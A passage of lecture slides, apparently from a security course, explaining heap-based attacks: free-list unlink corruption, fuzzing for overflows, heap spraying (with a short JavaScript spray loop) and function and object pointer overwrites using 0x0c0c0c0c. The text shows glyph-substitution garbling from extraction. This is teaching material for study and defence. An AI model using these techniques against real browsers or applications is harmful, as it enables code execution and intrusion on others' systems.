  52. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ size ¡ 72 ¡

  53. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ hdr-­‑>next-­‑>next-­‑>prev ¡ ¡ ¡ ¡ ¡ ¡ ¡= ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡hdr-­‑>next-­‑>prev ¡ 73 ¡

  54. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ hdr-­‑>next-­‑>next-­‑>prev ¡ ¡ ¡ ¡ ¡ ¡ ¡= ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡hdr-­‑>next-­‑>prev ¡ 74 ¡

  55. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ hdr-­‑>next-­‑>next-­‑>prev ¡ ¡ ¡ ¡ ¡ ¡ ¡= ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡hdr-­‑>next-­‑>prev ¡ 75 ¡

  56. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ hdr-­‑>next-­‑>next-­‑>prev ¡ ¡ ¡ ¡ ¡ ¡ ¡= ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡hdr-­‑>next-­‑>prev ¡ 76 ¡

  57. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ hdr-­‑>next-­‑>next-­‑>prev ¡ ¡ ¡ ¡ ¡ ¡ ¡= ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡hdr-­‑>next-­‑>prev ¡ 77 ¡

  58. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ hdr-­‑>next-­‑>next-­‑>prev ¡ ¡ ¡ ¡ ¡ ¡ ¡= ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡hdr-­‑>next-­‑>prev ¡ OBSERVE ¡: ¡header ¡has ¡target ¡address, ¡AND ¡value ¡to ¡load ¡ 78 ¡

  59. A6acks ¡through ¡the ¡heap ¡: ¡preliminaries ¡ To ¡remove ¡center ¡block ¡from ¡list, ¡change ¡pointers ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ 0xbcd4000 ¡ “prev” ¡ null ¡ 0xbcd3000 ¡ 80 ¡ 100 ¡ 32 ¡ hdr-­‑>next-­‑>next-­‑>prev ¡ ¡ ¡ ¡ ¡ ¡ ¡= ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡hdr-­‑>next-­‑>prev ¡ hdr-­‑>next ¡ ¡ ¡ ¡ ¡= ¡ ¡hdr-­‑>next-­‑>next ¡ ¡ 79 ¡

  60. A6acks ¡through ¡the ¡heap ¡: ¡the ¡real ¡deal ¡ Suppose ¡an ¡a6acker ¡can ¡corrupt ¡the ¡middle ¡header ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ Jump ¡adrs ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ Shellcode ¡adrs ¡ 80 ¡ 100 ¡ 32 ¡ User ¡Data ¡Object ¡ FuncGon ¡ptr ¡ 80 ¡

  61. A6acks ¡through ¡the ¡heap ¡: ¡the ¡real ¡deal ¡ Suppose ¡an ¡a6acker ¡can ¡corrupt ¡the ¡middle ¡header ¡ Variable ¡“hdr” ¡ 0xbcd4000 ¡ 0xbcd3000 ¡ 0xbcd3080 ¡ null ¡ “next” ¡ 0xbcd3080 ¡ Jump ¡adrs ¡ 0xbcd3080 ¡ “prev” ¡ null ¡ Shellcode ¡adrs ¡ 80 ¡ 100 ¡ 32 ¡ The ¡unlinking ¡overwrites ¡return ¡adrs ¡ User ¡Data ¡Object ¡ On ¡call ¡to ¡funcGon, ¡control ¡passed ¡to ¡ FuncGon ¡ptr ¡ Sub ¡return ¡ shellcode ¡ 81 ¡

  62. How ¡can ¡headers ¡become ¡corrupted? ¡ • A6ack ¡has ¡to ¡know ¡how ¡heap ¡is ¡managed ¡ • A6ack ¡code ¡uses ¡allocaGons/deallocaGons ¡to ¡get ¡ ¡ – A ¡pointer ¡to ¡an ¡object ¡that ¡points ¡to ¡the ¡target ¡ – A ¡pointer ¡to ¡an ¡object ¡immediately ¡“below” ¡the ¡target ¡in ¡memory ¡ that ¡can ¡be ¡over-­‑flowed ¡ hdr ¡ next ¡ prev ¡ 32 ¡ 82 ¡

  63. How ¡can ¡headers ¡become ¡corrupted? ¡ • A6ack ¡has ¡to ¡know ¡how ¡heap ¡is ¡managed ¡ • A6ack ¡code ¡uses ¡allocaGons/deallocaGons ¡to ¡get ¡ ¡ – A ¡pointer ¡to ¡an ¡object ¡that ¡points ¡to ¡the ¡target ¡ – A ¡pointer ¡to ¡an ¡object ¡immediately ¡“below” ¡the ¡target ¡in ¡memory ¡ that ¡can ¡be ¡over-­‑flowed ¡ hdr ¡ next ¡ prev ¡ 32 ¡ 83 ¡

  64. How ¡can ¡headers ¡become ¡corrupted? ¡ • A6ack ¡has ¡to ¡know ¡how ¡heap ¡is ¡managed ¡ • A6ack ¡code ¡uses ¡allocaGons/deallocaGons ¡to ¡get ¡ ¡ – A ¡pointer ¡to ¡an ¡object ¡that ¡points ¡to ¡the ¡target ¡ – A ¡pointer ¡to ¡an ¡object ¡immediately ¡“below” ¡the ¡target ¡in ¡memory ¡ that ¡can ¡be ¡over-­‑flowed ¡ hdr ¡ next ¡ prev ¡ 32 ¡ 84 ¡

  65. How ¡can ¡headers ¡become ¡corrupted? ¡ • A6ack ¡has ¡to ¡know ¡how ¡heap ¡is ¡managed ¡ • A6ack ¡code ¡uses ¡allocaGons/deallocaGons ¡to ¡get ¡ ¡ – A ¡pointer ¡to ¡an ¡object ¡that ¡points ¡to ¡the ¡target ¡ – A ¡pointer ¡to ¡an ¡object ¡immediately ¡“below” ¡the ¡target ¡in ¡memory ¡ that ¡can ¡be ¡over-­‑flowed ¡ hdr ¡ next ¡ Jump ¡adrs ¡ prev ¡ 32 ¡ 85 ¡

  66. How ¡can ¡headers ¡become ¡corrupted? ¡ • A6ack ¡has ¡to ¡know ¡how ¡heap ¡is ¡managed ¡ • A6ack ¡code ¡uses ¡allocaGons/deallocaGons ¡to ¡get ¡ ¡ – A ¡pointer ¡to ¡an ¡object ¡that ¡points ¡to ¡the ¡target ¡ – A ¡pointer ¡to ¡an ¡object ¡immediately ¡“below” ¡the ¡target ¡in ¡memory ¡ that ¡can ¡be ¡over-­‑flowed ¡ hdr ¡ next ¡ Jump ¡adrs ¡ prev ¡ Shellcode ¡adrs ¡ 32 ¡ 86 ¡

  67. Heap-­‑based ¡a6acks ¡ • InGmate ¡knowledge ¡of ¡how ¡heap ¡is ¡managed ¡ required ¡ • ApplicaGon ¡code ¡with ¡suitable ¡overflow ¡vulnerability ¡ required ¡ • Ability ¡to ¡allocate ¡/ ¡deallocate ¡heap ¡blocks ¡to ¡ posiGon ¡for ¡a6ack ¡required ¡ • Ability ¡to ¡load ¡shellcode ¡required ¡ • Ability ¡to ¡aim ¡jump ¡at ¡shellcode ¡required ¡ Seems ¡very ¡tricky, ¡but… ¡ 87 ¡

  68. Heap-­‑based ¡a6acks ¡ • InGmate ¡knowledge ¡of ¡how ¡heap ¡is ¡managed ¡ required ¡ – A6acker ¡can ¡observe ¡using ¡debugger; ¡this ¡ informaGon ¡is ¡shared ¡in ¡the ¡cyber ¡underground ¡ 88 ¡

  69. Heap-­‑based ¡a6acks ¡ • InGmate ¡knowledge ¡of ¡how ¡heap ¡is ¡managed ¡required ¡ • ApplicaGon ¡code ¡with ¡suitable ¡overflow ¡vulnerability ¡ required ¡ – “Fuzzing” ¡an ¡applicaGon ¡with ¡lots ¡of ¡random ¡junk ¡ leads ¡to ¡a ¡crash, ¡post-­‑mortum ¡analysis ¡finds ¡where ¡ heap ¡pointers ¡corrupted ¡due ¡to ¡overflow… ¡a6ack ¡ found ¡his ¡toehold ¡ – Fuzzing ¡with ¡not-­‑so-­‑random ¡junk, ¡e.g. ¡looking ¡for ¡ integer/floaGng ¡point ¡overflows ¡ • Mismatch ¡between ¡allocated ¡space ¡(too ¡small) ¡and ¡data ¡ being ¡loaded ¡there ¡ 89 ¡

  70. Heap-­‑based ¡a6acks ¡ • InGmate ¡knowledge ¡of ¡how ¡heap ¡is ¡managed ¡ required ¡ • ApplicaGon ¡code ¡with ¡suitable ¡overflow ¡vulnerability ¡ required ¡ • Ability ¡to ¡allocate ¡/ ¡deallocate ¡heap ¡blocks ¡to ¡ posiGon ¡for ¡a6ack ¡required ¡ – Web ¡browsers ¡running ¡javascript ¡or ¡flash ¡take ¡ scripts ¡offered ¡on ¡webpages ¡and ¡run ¡them. ¡ ¡ ¡ – pdf ¡documents ¡carry ¡scripts ¡in ¡their ¡headers, ¡ readers ¡run ¡them ¡immediately ¡ 90 ¡

  71. Heap-­‑based ¡a6acks ¡ • InGmate ¡knowledge ¡of ¡how ¡heap ¡is ¡managed ¡required ¡ • ApplicaGon ¡code ¡with ¡suitable ¡overflow ¡vulnerability ¡ required ¡ • Ability ¡to ¡allocate ¡/ ¡deallocate ¡heap ¡blocks ¡to ¡posiGon ¡for ¡ a6ack ¡required ¡ • Ability ¡to ¡load ¡shellcode ¡required ¡ – Shellcode ¡encoded ¡in ¡strings ¡wri6en ¡into ¡dynamically ¡ allocated ¡memory ¡ • May ¡be ¡passed ¡as ¡part ¡of ¡a6ack ¡input ¡through ¡web ¡ connecGon ¡ • May ¡be ¡embedded ¡in ¡image, ¡document, ¡or ¡string ¡in ¡ a6acker’s ¡script ¡ 91 ¡

  72. Heap-­‑based ¡a6acks ¡ • InGmate ¡knowledge ¡of ¡how ¡heap ¡is ¡managed ¡ required ¡ • ApplicaGon ¡code ¡with ¡suitable ¡overflow ¡vulnerability ¡ required ¡ • Ability ¡to ¡allocate ¡/ ¡deallocate ¡heap ¡blocks ¡to ¡ posiGon ¡for ¡a6ack ¡required ¡ • Ability ¡to ¡load ¡shellcode ¡required ¡ • Ability ¡to ¡aim ¡jump ¡at ¡shellcode ¡required ¡ – Difficult ¡to ¡get ¡exactly, ¡but ¡there ¡are ¡ways… ¡ 92 ¡

  73. State ¡of ¡the ¡art ¡in ¡browser ¡exploitaGon ¡ Stack ¡overflows ¡: ¡classic, ¡but ¡defenses ¡have ¡been ¡raised ¡ (detect ¡overruns ¡before ¡using ¡jump ¡address) ¡ (Structured ¡ExcepGon ¡Handling) ¡ (a6acker ¡has ¡to ¡guess ¡at ¡stack ¡layout) ¡ 93 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  74. Heap ¡overflows ¡ We’ve ¡seen ¡proof ¡of ¡concept, ¡in ¡pracGce ¡it ¡is ¡hard ¡and ¡ defenses ¡have ¡been ¡raised ¡ (trick ¡shown ¡earlier….BUSTED) ¡ 94 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  75. What’s ¡lef ¡to ¡a6ack? ¡ • Non-­‑array ¡stack ¡overflows ¡ – Very ¡rare ¡ • Use ¡of ¡uniniGalized ¡variables ¡ – Stack ¡variables ¡ – Use ¡afer ¡“free” ¡ • ApplicaGon ¡data ¡on ¡the ¡heap ¡ – ApplicaGon ¡specific ¡memory ¡headers ¡ – FuncGon ¡pointers ¡ – C++ ¡object ¡pointers ¡ 95 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  76. DefiniGve ¡a6ack ¡“setSlice” ¡ • Uses ¡heap ¡spraying ¡to ¡fill ¡browser ¡heap ¡with ¡ shellcode ¡ • Overwrites ¡applicaGon ¡object ¡pointer ¡in ¡the ¡previous ¡ heap ¡chunk ¡ – Here ¡an ¡applicaGon ¡vulnerability ¡is ¡required ¡ – Hope ¡that ¡afer ¡a6ack ¡overwrites ¡object ¡pointer, ¡ the ¡applicaGon ¡actually ¡uses ¡that ¡pointer! ¡ – May ¡just ¡end ¡up ¡crashing ¡the ¡browser ¡ 96 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  77. Heap ¡Spraying ¡ Developed ¡by ¡Blazde ¡and ¡ ¡SkyLined, ¡used ¡by ¡most ¡ browser ¡exploits ¡since ¡2004 ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡var ¡x ¡ ¡= ¡new ¡Array(); ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡// ¡fill ¡200MB ¡of ¡memory ¡with ¡copies ¡of ¡NOP ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡// ¡slide ¡and ¡shellcode ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡for(var ¡i ¡= ¡0; ¡i ¡< ¡200; ¡i++) ¡{ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡x[i] ¡= ¡nop ¡+ ¡shellcode; ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡} ¡ 97 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  78. Normal ¡heap ¡layout ¡ 98 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  79. Afer ¡heap ¡spraying ¡ 99 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  80. FuncGon ¡pointer ¡overwrite ¡ 1. Spray ¡the ¡heap ¡with ¡200MB ¡of ¡shellcode ¡(and ¡slide) ¡ 2. Overwrite ¡a ¡funcGon ¡pointer ¡with ¡0x0c0c0c0c ¡(e.g. ¡ some ¡pointer ¡to ¡an ¡excepGon ¡handler ¡in ¡staGc ¡data) ¡ 3. Arrange ¡for ¡the ¡pointer ¡to ¡be ¡called ¡ 100 ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

  81. Object ¡pointer ¡overwrite ¡ • Spray ¡the ¡heap ¡with ¡200MB ¡of ¡shellcode, ¡using ¡byte ¡ 0x0c ¡as ¡a ¡NOP ¡ • Overwrite ¡an ¡object ¡pointer ¡with ¡0x0c0c0c0c ¡ • Call ¡a ¡virtual ¡funcGon ¡of ¡the ¡object ¡ presumed ¡object ¡ presumed ¡vtable ¡ presumed ¡funcGon ¡ at ¡0xc0c0c0c0 ¡ at ¡0xc0c0c0c0 ¡ at ¡0xc0c0c0c0 ¡ Pointer ¡to ¡table ¡of ¡ virtual ¡funcGon ¡ ParGcular ¡funcGon ¡ pointers ¡is ¡some ¡ called ¡determines ¡ offset ¡from ¡base, ¡but ¡ offset ¡into ¡vtable… is ¡0x0c0c0c0c ¡ but ¡whatever ¡it ¡ indexes ¡to, ¡the ¡value ¡ 101 ¡ there ¡is ¡0x0c0c0c0c ¡ “Heap ¡Feng ¡Shui ¡in ¡Javascript”, ¡Alexander ¡SoGrov ¡

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend